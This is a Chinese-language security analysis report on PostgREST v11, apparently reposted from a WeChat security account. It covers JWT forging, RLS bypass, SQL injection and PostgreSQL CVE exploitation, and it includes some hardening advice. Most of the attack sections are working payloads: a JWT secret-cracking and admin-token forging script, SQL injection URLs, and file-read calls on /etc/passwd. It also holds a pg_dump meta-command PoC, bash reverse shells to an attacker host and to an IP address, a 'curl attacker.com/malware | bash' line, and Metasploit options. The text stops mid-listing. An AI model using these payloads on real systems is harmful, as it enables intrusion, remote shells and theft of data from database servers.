PostgREST安全分析报告

admin 2026-04-23 05:24:45 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本报告对PostgRESTv11进行安全分析,揭示JWT绕过、权限提升、行级安全策略绕过等关键风险,并提供配置加固与防护建议。 综合评分: 87 文章分类: web安全,应用安全,漏洞分析,安全建设


cover_image

PostgREST 安全分析报告

Rainb0w Rainb0w

网空安全手札

2026年4月22日 17:36 上海

在小说阅读器读本章

去阅读

#

免责声明:本报告仅供安全研究和学习目的使用。所有提供的攻击技术和payload仅应用于授权的安全测试环境中。未经授权的系统渗透测试可能违反法律法规。

报告日期:2026年4月 分析目标:PostgREST v11 及相关版本 研究目的:识别潜在攻击面,评估安全风险,提出防护建议

目录

  1. PostgREST概述
  2. 安全特性分析
  3. 攻击面分析
  4. 具体攻击技术
  • 4.1 JWT绕过/伪造攻击
  • 4.2 角色权限提升
  • 4.3 行级安全策略绕过
  • 4.4 SQL注入可能性
  • 4.5 批量操作滥用
  • 4.6 信息泄露
  • 4.7 函数注入
  • 4.8 配置错误利用
  • 4.9 PostgreSQL CVE漏洞利用
  • 4.10 UDF注入攻击
  • 4.11 PostgREST特有安全问题
  • 4.12 PostgREST实战攻击案例
  1. 防护建议
  2. CVE漏洞汇总
  3. 攻击工具与框架
  4. 参考文献

1. PostgREST概述

1.1 什么是PostgREST

PostgREST是一个独立的Web服务器,能够将现有的PostgreSQL数据库直接转换为RESTful API。它通过自动分析数据库结构,为每个表、视图和存储过程生成对应的API端点。

1.2 工作原理

┌─────────────┐     ┌──────────────┐     ┌────────────────┐│   Client    │────▶│  PostgREST   │────▶│   PostgreSQL    ││  (HTTP)     │◀────│   Server     │◀────│   Database     │└─────────────┘     └──────────────┘     └────────────────┘                           │                    ┌──────┴──────┐                    │  JWT Auth   │                    │  Role Switch│                    │  SQL Gen    │                    └─────────────┘

1.3 典型部署架构

                        ┌─────────────────┐                        │   Internet      │                        └────────┬────────┘                                 │                        ┌────────▼────────┐                        │  Reverse Proxy  │                        │   (Nginx)       │                        └────────┬────────┘                                 │              ┌──────────────────┼──────────────────┐              │                  │                  │     ┌────────▼────────┐  ┌──────▼───────┐  ┌───────▼──────┐     │   PostgREST    │  │  PostgREST   │  │  PostgREST   │     │   (Instance 1) │  │  (Instance 2)│  │  (Instance 3)│     └────────┬────────┘  └──────┬───────┘  └───────┬──────┘              │                  │                  │              └──────────────────┼──────────────────┘                                 │                    ┌────────────▼────────────┐                    │   PostgreSQL Database   │                    │   ┌─────────────────┐   │                    │   │  public schema  │   │                    │   │  api schema     │   │                    │   │  private schema │   │                    │   └─────────────────┘   │                    └─────────────────────────┘

1.4 默认配置特性

| | | — | | |

| | | — | | |

| | | — | | |

| | | — | | |

| 配置项 | 默认值 | 安全风险 | | — | — | — | | db-anon-role | 无 | 未认证用户无法访问 | | jwt-secret | 需配置 | 未配置则无法使用JWT认证 | | db-schema | public | public模式默认对所有用户开放 | | openapi-mode | follow-privileges | 可能泄露API结构信息 | | 函数执行权限 | PUBLIC | 默认所有角色可执行所有函数 |

2. 安全特性分析

2.1 认证机制

PostgREST采用JWT(JSON Web Token)进行请求认证:

2.1.1 JWT认证流程

-- 1. 用户登录获取JWTPOST /rpc/login{  "email": "[email protected]",  "pass": "password123"}-- 2. 响应包含JWT{  "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}-- 3. 后续请求携带JWTAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

2.1.2 JWT角色提取

PostgREST从JWT的role声明中提取数据库角色:

{  "role": "user123",  "email": "[email protected]",  "exp": 1735689600}

内部执行:

SET LOCAL ROLE user123;

2.1.3 JWT验证机制

PostgREST支持的JWT声明验证:

  • exp - 过期时间(带30秒时钟容差)
  • iat - 签发时间
  • nbf - 生效时间
  • aud - 受众验证

2.2 授权模型

2.2.1 角色体系

┌─────────────────────────────────────────────────────────────┐│                    角色体系架构                              │├─────────────────────────────────────────────────────────────┤│                                                             ││   ┌───────────────┐                                         ││   │ authenticator │  数据库连接角色(NOINHERIT)            ││   │ (初始角色)     │  权限最小化,只有切换角色的权限          ││   └───────┬───────┘                                         ││           │                                                  ││           │ GRANT xxx TO authenticator                      ││           │                                                  ││           ▼                                                  ││   ┌───────┴────────────────────────────────────────┐        ││   │              角色切换 (SET LOCAL ROLE)            │        ││   └───────┬────────────────────────────────────────┘        ││           │                                                  ││     ┌─────┴─────┐                                         ││     │           │                                         ││     ▼           ▼                                         ││  ┌──────┐   ┌─────────┐    ┌─────────┐                     ││  │ anon │   │ webuser │    │ admin   │                     ││  │ 匿名 │   │ 普通用户 │    │ 管理员   │                     ││  └──┬───┘   └────┬────┘    └────┬────┘                     ││     │            │              │                          ││     │    ┌───────┴───────┐      │                          ││     │    │               │      │                          ││     ▼    ▼               ▼      ▼                          ││  公开数据  受限数据    管理员数据                             ││                                                             │└─────────────────────────────────────────────────────────────┘

2.2.2 行级安全策略(RLS)

PostgREST依赖PostgreSQL的RLS实现细粒度访问控制:

-- 启用RLSALTER TABLE messages ENABLE ROW LEVEL SECURITY;-- 创建策略:用户只能访问自己的消息CREATE POLICY user_messages_policy ON messages    FOR ALL    USING (sender = current_user OR receiver = current_user)    WITH CHECK (sender = current_user);

2.3 SQL注入防护

PostgREST通过以下方式防护SQL注入:

  1. 参数化查询:所有用户输入通过参数绑定传递
  2. 输入验证:对查询参数进行语法验证
  3. 自动转义:标识符和字面值自动转义
-- PostgREST生成的查询示例SELECT * FROM users WHERE id = $1  -- 参数化-- 用户输入: id=1' OR '1'='1-- 实际执行: id = '1'' OR ''1''=''1' (转义)

2.4 默认安全配置

# postgrest.conf 安全配置示例db-uri = "postgres://authenticator:password@localhost:5432/mydb"db-anon-role = "anon"db-schema = "api"# JWT配置 - 密钥必须至少32字符jwt-secret = "your-256-bit-secret-key-here-min32"jwt-aud = "my-api"# 禁用调试功能openapi-mode = "follow-privileges"log-level = "error"

3. 攻击面分析

3.1 攻击面概览

┌─────────────────────────────────────────────────────────────────┐│                      PostgREST 攻击面                           │├─────────────────────────────────────────────────────────────────┤│                                                                  ││  ┌─────────────┐  ┌─────────────┐  ┌─────────────┐              ││  │ 认证攻击    │  │ 授权攻击    │  │ SQL注入     │              ││  ├─────────────┤  ├─────────────┤  ├─────────────┤              ││  │• JWT伪造    │  │• RLS绕过    │  │• 查询参数   │              ││  │• 弱密钥     │  │• 权限提升   │  │• 函数调用   │              ││  │• 角色劫持   │  │• 策略配置   │  │• 盲注      │              ││  └─────────────┘  └─────────────┘  └─────────────┘              ││                                                                  ││  ┌─────────────┐  ┌─────────────┐  ┌─────────────┐              ││  │ 信息泄露     │  │ DoS攻击     │  │ 配置错误    │              ││  ├─────────────┤  ├─────────────┤  ├─────────────┤              ││  │• Schema枚举 │  │• 查询超时   │  │• public模式 │              ││  │• OpenAPI   │  │• 资源耗尽   │  │• 默认凭证   │              ││  │• 错误消息   │  │• 连接耗尽   │  │• RLS未启用 │              ││  └─────────────┘  └─────────────┘  └─────────────┘              ││                                                                  │└─────────────────────────────────────────────────────────────────┘

3.2 认证相关攻击面

| | | — | | |

| | | — | | |

| 攻击面 | 描述 | 风险等级 | | — | — | — | | JWT密钥强度 | 弱密钥可被暴力破解 | 高 | | JWT alg=none | 旧版可能支持算法绕过 | 中 | | JWT缓存投毒 | 缓存验证结果被篡改 | 低 | | 角色声明注入 | JWT中恶意角色声明 | 高 |

3.3 授权相关攻击面

| | | — | | |

| | | — | | |

| 攻击面 | 描述 | 风险等级 | | — | — | — | | RLS未启用 | 表未启用行级安全 | 高 | | RLS策略缺陷 | 策略逻辑存在绕过 | 高 | | BYPASSRLS滥用 | 高权限角色绕过RLS | 高 | | SECURITY DEFINER | 函数权限提升 | 高 | | 函数默认PUBLIC | 所有角色可执行 | 中 |

3.4 SQL注入攻击面

| | | — | | |

| | | — | | |

| 攻击面 | 描述 | 风险等级 | | — | — | — | | 查询操作符 | 过滤条件注入 | 中 | | 排序参数 | ORDER BY注入 | 中 | | 批量操作 | 数组参数注入 | 中 | | RPC调用 | 函数参数注入 | 高 |

4. 具体攻击技术

4.1 JWT绕过/伪造攻击

4.1.1 JWT弱密钥暴力破解

攻击原理: 如果JWT密钥强度不足,攻击者可以通过暴力破解或字典攻击恢复密钥,然后伪造任意角色的JWT。

攻击步骤

  1. 获取一个有效的JWT
  2. 使用工具尝试破解密钥
  3. 使用破解的密钥伪造新JWT

具体Payload

# JWT破解脚本示例import jwtimport stringimport itertoolsfrom datetime import datetime# 已知JWTtoken = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYW5vbiIsImV4cCI6OTk5OTk5OTk5OX0.signature"# 弱密钥候选common_passwords = [    "password", "123456", "admin", "secret",    "12345678", "qwerty", "abc123", "monkey",    "1234567", "letmein"]for secret in common_passwords:    try:        decoded = jwt.decode(token, secret, algorithms=["HS256"])        print(f"[+] Found secret: {secret}")        print(f"[+] Decoded: {decoded}")
        # 伪造管理员JWT        fake_payload = {            "role": "admin",            "exp": int(datetime.now().timestamp()) + 3600        }        forged_token = jwt.encode(fake_payload, secret, algorithm="HS256")        print(f"[+] Forged admin token: {forged_token}")        break    except:        pass

预期效果: 获取有效JWT后,可破解密钥并伪造任意角色(包括管理员)的JWT令牌。

实际案例: 在配置了短密钥(如jwt-secret = "secret")的PostgREST实例中,此攻击成功率较高。

4.1.2 JWT Role声明注入

攻击原理: 当JWT的role声明可被攻击者控制时,可以指定任意数据库角色。

攻击步骤

  1. 获取有效的JWT(任意角色)
  2. 修改JWT payload中的role声明
  3. 使用修改后的JWT发送请求

具体Payload

// 原始JWT payload{  "role": "user",  "email": "[email protected]",  "exp": 1735689600}// 修改后的payload{  "role": "admin",  "email": "[email protected]",  "exp": 9999999999}

预期效果: 如果authenticator角色被授予了切换到admin角色的权限,攻击者可以权限提升到管理员。

4.1.3 JWT缓存投毒(理论)

攻击原理: PostgREST v11+支持JWT缓存以提高性能,攻击者可能通过缓存投毒影响验证结果。

攻击条件

  • PostgREST配置了JWT缓存
  • 攻击者能够影响缓存键

防御措施

# 禁用JWT缓存(如果需要高安全)# 当前版本JWT缓存基于令牌哈希,安全风险较低

4.2 角色权限提升

4.2.1 SECURITY DEFINER函数权限滥用

攻击原理: SECURITY DEFINER函数以创建者权限执行,如果函数实现不当,可能导致权限提升。

攻击步骤

  1. 发现可调用的SECURITY DEFINER函数
  2. 分析函数实现,寻找权限提升机会
  3. 通过函数参数触发高权限操作

具体Payload

-- 恶意的SECURITY DEFINER函数(管理员创建)CREATE OR REPLACE FUNCTION public.unsafe_exec(cmd text)RETURNS textLANGUAGE plpgsqlSECURITY DEFINER  -- 以创建者身份执行AS $$BEGIN  -- 此函数执行系统命令(如果函数所有者是postgres)  RETURN current_setting('request.headers', true);END;$$;-- 攻击者调用POST /rpc/unsafe_exec{  "cmd": "DROP TABLE users;"}

实际利用场景

-- 如果存在这样的函数CREATE OR REPLACE FUNCTION grant_admin()RETURNS voidLANGUAGE plpgsqlSECURITY DEFINERSET search_path = ''  -- 危险的search_path设置AS $$BEGIN  EXECUTE 'GRANT admin TO anonymous';END;$$;-- 调用它(作为任何用户)POST /rpc/grant_admin

预期效果

  • 执行任意SQL语句
  • 绕过RLS策略
  • 提升到超级用户权限

防护建议

-- 正确创建SECURITY DEFINER函数CREATE OR REPLACE FUNCTION safe_function()RETURNS voidLANGUAGE plpgsqlSECURITY DEFINERSET search_path = 'pg_catalog', 'public'  -- 必须设置search_pathSET app.settings.current_user_id = current_user  -- 显式设置AS $$BEGIN  -- 显式限定schema引用  SELECT * FROM public.allowed_table WHERE ...END;$$;

4.2.2 角色切换配置错误

攻击原理: 如果authenticator角色被错误授予了过多权限,可能导致权限提升。

攻击步骤

  1. 发现authenticator角色可切换到的角色列表
  2. 选择高权限角色
  3. 在JWT中指定该角色

具体Payload

-- 检查角色切换权限(攻击者视角)SELECT grantee, role_name FROM information_schema.applicable_rolesWHERE granted_role = 'authenticator';-- 假设发现authenticator可以切换到service_role-- 伪造JWT{  "role": "service_role",  "exp": 9999999999}

预期效果: 获取高权限角色的所有权限。

4.3 行级安全策略绕过

4.3.1 RLS未启用导致数据泄露

攻击原理: 敏感表未启用RLS,攻击者可以直接查询所有数据。

攻击步骤

  1. 探测API端点
  2. 查询敏感表
  3. 获取所有数据

具体Payload

# 探测敏感表GET /usersGET /paymentsGET /admin_logs# 分页获取全部数据GET /users?select=*&limit=1000&offset=0GET /users?select=*&limit=1000&offset=1000

预期效果: 获取表中的所有数据,不受任何行级策略限制。

4.3.2 RLS策略逻辑缺陷

攻击原理: RLS策略使用USING子句定义读取条件,WITH CHECK子句定义写入条件。策略逻辑缺陷可能导致绕过。

具体Payload

-- 假设存在这样的策略(有缺陷)CREATE POLICY bad_policy ON sensitive_data    FOR SELECT    USING (        user_id = current_user         OR role = 'admin'  -- 危险:基于角色而非当前用户    );-- 攻击者通过修改JWT role声明{  "role": "admin",  "user_id": 999}-- 或者利用空值比较GET /sensitive_data?user_id=is.null

预期效果: 绕过行级策略,访问不应允许的数据。

4.3.3 COPY命令绕过RLS

攻击原理: PostgreSQL的COPY命令不执行RLS策略,可用于数据提取。

攻击条件

  • 用户具有COPY权限
  • 表上有RLS策略

具体Payload

-- 通过PostgREST RPC调用(如果支持)POST /rpc/copy_data{  "query": "COPY (SELECT * FROM users) TO STDOUT"}-- 或者利用其他函数POST /rpc/export_data{  "table": "users"}

预期效果: 绕过RLS,直接复制表数据。

4.4 SQL注入可能性

4.4.1 查询参数注入

攻击原理: 虽然PostgREST使用参数化查询,但在某些情况下可能存在注入点。

具体Payload

# Order By注入GET /users?order=id; DROP TABLE users;--# 使用数字进行运算GET /users?id=1 OR 1=1# 数组参数注入POST /usersContent-Type: application/jsonPrefer: resolution=ignore-duplicates[{"id": "1; SELECT pg_read_file('/etc/passwd')"}]

PostgREST参数处理

# 查询参数GET /users?id=eq.1 → SELECT * FROM users WHERE id = 1# 过滤操作符eq.  - 等于gt.  - 大于gte. - 大于等于lt.  - 小于lte. - 小于等于like. - LIKE匹配ilike. - ILIKE匹配

4.4.2 PostgreSQL特性注入

攻击原理: 利用PostgreSQL特有的语法和函数进行注入攻击。

具体Payload

# 1. Dollar quoting绕过引号过滤GET /users?email=eq.'test'$$恶意SQL$$'# 2. 类型转换注入GET /users?id=1::text||(SELECT password FROM admin)# 3. 函数调用GET /users?id=pg_sleep(10)# 4. 条件注入GET /users?select=*,CASE WHEN (1=1) THEN pg_sleep(5) END# 5. 数组操作GET /users?id=IN(1,2,3)# 6. 范围查询GET /users?id=between.1.and.100

4.4.3 盲注技术

攻击原理: 通过响应时间差异或响应内容差异推断数据。

具体Payload

# 时间盲注 - 利用pg_sleepGET /users?select=id,CASE WHEN (SELECT COUNT(*) FROM users) > 10        THEN pg_sleep(5) ELSE NULL END# 布尔盲注 - 利用条件判断GET /users?select=id,name       FROM users WHERE        EXISTS(SELECT 1 FROM admin WHERE password LIKE 'a%')# 错误盲注 - 利用错误消息GET /users?id=1/0  -- 触发除零错误# DNS带外注入(如果可用)GET /users?id=1; SELECT 1; --attacker.com

4.5 批量操作滥用

4.5.1 数组插入绕过

攻击原理: PostgREST支持批量插入,可能绕过单行验证逻辑。

具体Payload

# 正常插入POST /usersContent-Type: application/jsonPrefer: return=representation{"name": "John", "email": "[email protected]"}# 批量插入绕过验证POST /usersContent-Type: application/jsonPrefer: return=representation[  {"name": "John", "email": "[email protected]"},  {"name": "Admin", "email": "[email protected]", "role": "admin"}]

预期效果: 利用批量操作绕过单行验证,插入特权数据。

4.5.2 Upsert权限提升

攻击原理: 使用upsert操作修改其他用户的数据。

具体Payload

# 正常操作PATCH /users?id=eq.123Content-Type: application/jsonPrefer: return=representation{"name": "New Name"}# 权限提升尝试 - 修改其他用户密码哈希PATCH /users?id=eq.456Content-Type: application/jsonPrefer: return=representation{"password_hash": "$2a$10$..."}  -- 注入管理员哈希

4.6 信息泄露

4.6.1 OpenAPI Schema探测

攻击原理: 访问OpenAPI端点获取API结构信息。

具体Payload

# 获取完整API文档GET /# 获取特定资源的OpenAPI定义GET /?schema=admin# 获取函数定义GET /rpc/login

预期效果: 获取:

  • 所有表和视图名称
  • 列名和数据类型
  • 函数签名和参数
  • 关系和约束

防护建议

# 禁用OpenAPIopenapi-mode = "disabled"# 或限制权限openapi-mode = "follow-privileges"

4.6.2 错误消息信息泄露

攻击原理: PostgREST的错误消息可能泄露内部信息。

具体Payload

# 触发详细错误GET /admin/users# 响应可能包含:{  "code": "42501",  "message": "permission denied for table admin_users",  "hint": "..."}# 探测函数参数POST /rpc/calculate?wrong_param=1# 响应可能包含函数签名{  "code": "PGRST202",  "message": "Function expects parameters: (x integer, y integer)"}

4.6.3 RPC函数枚举

攻击原理: PostgREST缓存了schema信息,可被用于枚举函数。

具体Payload

# 枚举所有可调用函数GET /rpc/# 探测特定schema的函数GET /rpc/admin.# 尝试调用推测的函数POST /rpc/secret_admin_function

预期效果: 获取:

  • 所有可用函数列表
  • 函数参数类型
  • 函数所属schema

4.7 函数注入

4.7.1 危险函数调用

攻击原理: PostgreSQL包含多个可能造成安全问题的函数。

具体Payload

# 读取系统文件POST /rpc/pg_read_fileContent-Type: application/json{"filename": "/etc/passwd"}# 读取服务器日志POST /rpc/pg_read_fileContent-Type: application/json{"filename": "/var/log/postgresql/postgresql.log"}# 列出目录POST /rpc/pg_ls_dirContent-Type: application/json{"dirname": "/etc"}# 执行系统命令(如果支持)POST /rpc/pg_execute_server_programContent-Type: application/json{"command": "id"}

防护措施

-- 撤销危险函数权限REVOKE EXECUTE ON FUNCTION pg_read_file(text) FROM PUBLIC;REVOKE EXECUTE ON FUNCTION pg_ls_dir(text) FROM PUBLIC;REVOKE EXECUTE ON FUNCTION pg_execute_server_program(text) FROM PUBLIC;REVOKE EXECUTE ON FUNCTION lo_import(text) FROM PUBLIC;

4.8 配置错误利用

4.8.1 Public Schema暴露

攻击原理: 如果API使用public schema,扩展函数可能意外暴露。

具体Payload

# 调用uuid生成函数GET /rpc/uuid_generate_v4# 调用pg_*系统函数GET /rpc/versionGET /rpc/current_databaseGET /rpc/current_user# 调用扩展函数GET /rpc/pgcrypto.encryptGET /rpc/postgis.version

预期效果: 调用原本不应暴露的数据库函数。

4.8.2 函数默认PUBLIC权限

攻击原理: PostgreSQL默认允许所有角色执行所有函数。

攻击步骤

  1. 发现所有可调用函数
  2. 寻找SECURITY DEFINER的高权限函数
  3. 调用以提升权限

具体Payload

# 检查函数权限# 作为普通用户尝试调用POST /rpc/admin_only_function

防护措施

-- 撤销所有函数的默认执行权限ALTER DEFAULT PRIVILEGES REVOKE EXECUTE ON FUNCTIONS FROM PUBLIC;-- 仅授予必要的函数执行权限GRANT EXECUTE ON FUNCTION login(text, text) TO anon;GRANT EXECUTE ON FUNCTION get_user_data(uuid) TO authenticated;

4.9 PostgreSQL CVE漏洞利用

4.9.1 CVE-2025-8714/CVE-2025-8715 – pg_dump远程代码执行

漏洞概述: PostgreSQL的pg_dump工具存在两个高危漏洞,攻击者可通过恶意备份文件注入任意代码。

CVE-2025-8714 (CVSS 8.8)

  • 类型

    :不受信任数据注入

  • 原理

    :pg_dump在备份时记录搜索路径等元数据,恢复时如果源服务器为恶意超级用户,可在备份文件中注入任意代码

  • 影响

    :恢复时以psql的操作系统账户权限执行任意代码

CVE-2025-8715 (CVSS 8.8)

  • 类型

    :换行符未清理

  • 原理

    :pg_dump未正确清理换行符,攻击者可通过特制对象名(如表名、函数名)插入psql元命令

  • 影响

    :恢复时执行任意代码

受影响版本

| | | — | | |

| | | — | | |

| 版本分支 | 受影响版本 | | — | — | | PostgreSQL 17.x | < 17.6 | | PostgreSQL 16.x | < 16.10 | | PostgreSQL 15.x | < 15.14 | | PostgreSQL 14.x | < 14.19 | | PostgreSQL 13.x | < 13.22 |

攻击场景

-- 场景1:创建恶意备份文件-- 攻击者拥有postgres超级用户权限-- 创建带有恶意命令的表CREATE TABLE&nbsp;"test\n\! echo compromised > /tmp/pwned.txt"&nbsp;(id&nbsp;int);-- 导出备份(包含恶意内容)pg_dumpall -U postgres -d mydb > /tmp/malicious_backup.sql-- 场景2:直接注入元命令-- 在备份文件中追加恶意命令cat&nbsp;>> /tmp/malicious_backup.sql <<&nbsp;'EOF'-- 恶意注入:利用反斜杠元命令执行系统命令\!&nbsp;whoami&nbsp;> /tmp/attacker_info.txt\!&nbsp;cat&nbsp;/etc/passwd > /tmp/shadow.txt\! bash -c&nbsp;'bash -i >& /dev/tcp/attacker/7777 0>&1'&nbsp;&EOF-- 恢复时执行恶意代码psql -U postgres -f /tmp/malicious_backup.sql

PoC脚本

#!/usr/bin/env python3"""CVE-2025-8714/8715 演示脚本注意:仅用于授权的安全测试"""import&nbsp;subprocessimport&nbsp;osdef&nbsp;create_malicious_backup():&nbsp; &nbsp;&nbsp;"""创建包含恶意代码的备份文件"""&nbsp; &nbsp;&nbsp;# 正常的pg_dump命令&nbsp; &nbsp; dump_cmd = ["pg_dumpall",&nbsp;"-U",&nbsp;"postgres",&nbsp;"-d",&nbsp;"testdb"]
&nbsp; &nbsp;&nbsp;# 启动正常的备份进程&nbsp; &nbsp; proc = subprocess.Popen(dump_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)&nbsp; &nbsp; normal_dump, _ = proc.communicate()
&nbsp; &nbsp;&nbsp;# 在备份中注入恶意元命令&nbsp; &nbsp; malicious_dump = normal_dump +&nbsp;b"""\\! echo "RCE via pg_dump" >> /tmp/pgdump_exploited.txt\\! id >> /tmp/pgdump_exploited.txt\\! cat /etc/passwd >> /tmp/passwd_leak.txt 2>/dev/null"""
&nbsp; &nbsp;&nbsp;# 写入恶意备份文件&nbsp; &nbsp;&nbsp;with&nbsp;open('/tmp/pgdump_exploit.sql',&nbsp;'wb')&nbsp;as&nbsp;f:&nbsp; &nbsp; &nbsp; &nbsp; f.write(malicious_dump)
&nbsp; &nbsp;&nbsp;return&nbsp;'/tmp/pgdump_exploit.sql'def&nbsp;trigger_execution(backup_file):&nbsp; &nbsp;&nbsp;"""恢复备份以触发恶意代码"""&nbsp; &nbsp; restore_cmd = ["psql",&nbsp;"-U",&nbsp;"postgres",&nbsp;"-f", backup_file]&nbsp; &nbsp; subprocess.run(restore_cmd)if&nbsp;__name__ ==&nbsp;"__main__":&nbsp; &nbsp; backup = create_malicious_backup()&nbsp; &nbsp;&nbsp;print(f"恶意备份已创建:&nbsp;{backup}")&nbsp; &nbsp;&nbsp;print("警告:恢复此备份将执行恶意代码!")

防护措施

# 1. 升级PostgreSQL到安全版本# PostgreSQL 17.6+, 16.10+, 15.14+, 14.19+, 13.22+# 2. 验证备份文件来源pg_restore --version &nbsp;# 确认版本sha256sum&nbsp;backup.sql &nbsp;# 验证完整性# 3. 在隔离环境测试备份docker run --rm&nbsp;-v /path/to/backup:/backup postgres:16 \&nbsp; psql -U postgres -f /backup/backup.sql

4.9.2 CVE-2025-1094 – libpq转义API SQL注入

漏洞概述

  • CVSS 8.1

  • 类型

    :SQL注入/代码执行

  • 影响组件

    PQescapeLiteral()PQescapeIdentifier()PQescapeString()PQescapeStringConn()

漏洞原理: 这些函数在处理特定字符编码组合或特殊输入时,转义处理存在错误,可能导致:

  1. 当转义后的输入用于构建psql命令时 → 任意代码执行
  2. client_encoding=BIG5server_encoding=EUC_TW/MULE_INTERNAL时 → SQL注入

受影响版本

| | | — | | |

| | | — | | |

| 版本分支 | 受影响版本 | | — | — | | PostgreSQL 17.x | < 17.3 | | PostgreSQL 16.x | < 16.7 | | PostgreSQL 15.x | < 15.11 | | PostgreSQL 14.x | < 14.16 | | PostgreSQL 13.x | < 13.19 |

利用条件

-- 条件1:通过psql元命令执行代码-- 需要能够构造psql命令执行-- 条件2:特定编码组合-- 需要同时设置:SET&nbsp;client_encoding&nbsp;=&nbsp;'BIG5';SET&nbsp;server_encoding&nbsp;=&nbsp;'EUC_TW'; &nbsp;-- 或 MULE_INTERNAL-- 构造恶意输入SELECT&nbsp;PQescapeLiteral(&nbsp; &nbsp; conn,&nbsp;&nbsp; &nbsp; E'test\x27; \!\ id; --');

攻击路径

┌──────────────┐ &nbsp; &nbsp;┌─────────────┐ &nbsp; &nbsp;┌──────────────┐ &nbsp; &nbsp;┌─────────────┐│ &nbsp;用户输入 &nbsp; &nbsp;│───▶│ PQescape*&nbsp; │───▶│ &nbsp;SQL查询 &nbsp; &nbsp;│───▶│ &nbsp;psql元命令 ││ (特殊编码) &nbsp; │ &nbsp; &nbsp;│ &nbsp; 函数 &nbsp; &nbsp; │ &nbsp; &nbsp;│ &nbsp;构造 &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp;│ &nbsp;执行 &nbsp; &nbsp; &nbsp; │└──────────────┘ &nbsp; &nbsp;└─────────────┘ &nbsp; &nbsp;└──────────────┘ &nbsp; &nbsp;└─────────────┘&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ▼&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ┌──────────────────┐&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ 转义处理错误 &nbsp; &nbsp; &nbsp;│&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ 导致元命令注入 &nbsp; &nbsp;│&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; └──────────────────┘

防护措施

# 1. 升级PostgreSQL
# 2. 避免使用不匹配的编码组合
# 3. 使用参数化查询而非字符串拼接

4.9.3 CVE-2019-9193 – COPY FROM PROGRAM命令执行

漏洞概述

  • CVSS 9.1

  • 利用条件

    :超级用户权限或pg_read_server_files组成员

  • 影响版本

    :PostgreSQL 9.3+

攻击原理: PostgreSQL的COPY命令支持PROGRAM子句,允许执行系统命令。攻击者可通过此功能执行任意系统命令。

前置检查

-- 检查当前用户权限SELECT&nbsp;current_user;SELECT&nbsp;rolsuper&nbsp;FROM&nbsp;pg_roles&nbsp;WHERE&nbsp;rolname&nbsp;=&nbsp;current_user;-- 检查是否为pg_read_server_files组成员SELECT&nbsp;*&nbsp;FROM&nbsp;pg_group&nbsp;WHERE&nbsp;groname&nbsp;=&nbsp;'pg_read_server_files';-- 检查COPY权限SELECT&nbsp;has_table_privilege('postgres',&nbsp;'COPY');

攻击步骤

-- 步骤1:创建存储命令输出的表DROP&nbsp;TABLE&nbsp;IF&nbsp;EXISTS&nbsp;cmd_exec;CREATE TABLE&nbsp;cmd_exec(cmd_output text);-- 步骤2:执行系统命令(方式1:直接执行)COPY&nbsp;cmd_exec&nbsp;FROM&nbsp;PROGRAM&nbsp;'id';SELECT&nbsp;*&nbsp;FROM&nbsp;cmd_exec;-- 清除输出DELETE&nbsp;FROM&nbsp;cmd_exec;-- 步骤3:执行系统命令(方式2:反弹shell)-- Base64编码反弹shell命令-- /bin/bash -i >& /dev/tcp/192.168.110.143/7777 0>&1-- Base64: L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTEwLjE0My83Nzc3IDA+JjEKCOPY&nbsp;cmd_exec&nbsp;FROM&nbsp;PROGRAM&nbsp;'echo "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTEwLjE0My83Nzc3IDA+JjEK" | base64 -d | bash';-- 步骤4:读取敏感文件COPY&nbsp;cmd_exec&nbsp;FROM&nbsp;PROGRAM&nbsp;'cat /etc/passwd';SELECT&nbsp;*&nbsp;FROM&nbsp;cmd_exec;-- 步骤5:下载并执行恶意文件COPY&nbsp;cmd_exec&nbsp;FROM&nbsp;PROGRAM&nbsp;'curl http://attacker.com/malware | bash';

Metasploit利用模块

# Metasploit模块# exploit/linux/postgres/postgres_payload# exploit/windows/postgres/postgres_payloadmsf6&nbsp;exploit(linux/postgres/postgres_payload) > optionsModule options (exploit/linux/postgres/postgres_payload):&nbsp; &nbsp;Name &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Current Setting &nbsp;Required &nbsp;Description&nbsp; &nbsp;─────────────────────────────────────────────────────────────────&nbsp; &nbsp;DATABASE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;postgres &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;yes&nbsp; &nbsp; &nbsp; &nbsp;The database to authenticate&nbsp;on&nbsp; &nbsp;PASSWORD &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;postgres &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;no&nbsp; &nbsp; &nbsp; &nbsp; The password for the specified username&nbsp; &nbsp;RHOSTS &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;target.db.local &nbsp;yes&nbsp; &nbsp; &nbsp; &nbsp;The target address&nbsp; &nbsp;RPORT &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;5432&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;yes&nbsp; &nbsp; &nbsp; &nbsp;The target port&nbsp; &nbsp;USERNAME &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;postgres &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;yes&nbsp; &nbsp; &nbsp; &nbsp;The username to authenticate 